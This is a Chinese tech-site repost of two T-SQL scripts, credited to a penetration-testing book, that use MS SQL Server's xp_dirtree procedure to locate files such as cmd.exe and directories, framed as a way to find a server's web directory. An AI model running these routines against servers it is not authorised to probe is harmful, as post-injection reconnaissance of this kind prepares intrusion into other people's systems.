xpdirtree快速查找WEB目录SQL语句脚本安全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    代码源自《网络渗透技术》,由本人整理,并测试能过,高手再次飘过~~~~~~

    查找文件的语句

    drop table tmp;

    create table tmp

    (

    [id] [int] IDENTITY (1,1) NOT NULL,

    [name] [nvarchar] (300) NOT NULL,

    [depth] [int] NOT NULL,

    [isfile] [nvarchar] (50) NULL

    );

    declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)

    set @root='d:\winnt\' -- Start root

    set @name='cmd.exe' -- Find file

    insert into tmp exec master..xp_dirtree @root,0,1--

    set @id=(select top 1 id from tmp where isfile=1 and name=@name)

    set @depth=(select top 1 depth from tmp where isfile=1 and name=@name)

    while @depth<>1

    begin

    set @id=(select top 1 id from tmp where isfile=0 and id<@id and depth=(@depth-1) order by id desc)

    set @depth=(select depth from tmp where id=@id)

    set @name=(select name from tmp where id=@id)+'\'+@name

    end

    update tmp set name=@root+@name where id=1

    select name from tmp where id=1[/code]

    查找目录的语句

    [code]drop table tmp;

    create table tmp

    (

    [id] [int] IDENTITY (1,1) NOT NULL,

    [name] [nvarchar] (300) NOT NULL,

    [depth] [int] NOT NULL

    );

    declare @id int, @depth int, @root nvarchar(300), @name nvarchar(300)

    set @root='D:\winnt\' -- Start root

    set @name='etc' -- directory to find

    insert into tmp exec master..xp_dirtree @root,0,0

    set @id=(select top 1 id from tmp where name=@name)

    set @depth=(select top 1 depth from tmp where name=@name)

    while @depth<>1

    begin

    set @id=(select top 1 id from tmp where id<@id and depth=(@depth-1) order by id desc)

    set @depth=(select depth from tmp where id=@id)

    set @name=(select name from tmp where id=@id)+'\'+@name

    end update tmp set name=@root+@name where id=1

    select name from tmp where id=1

最新文章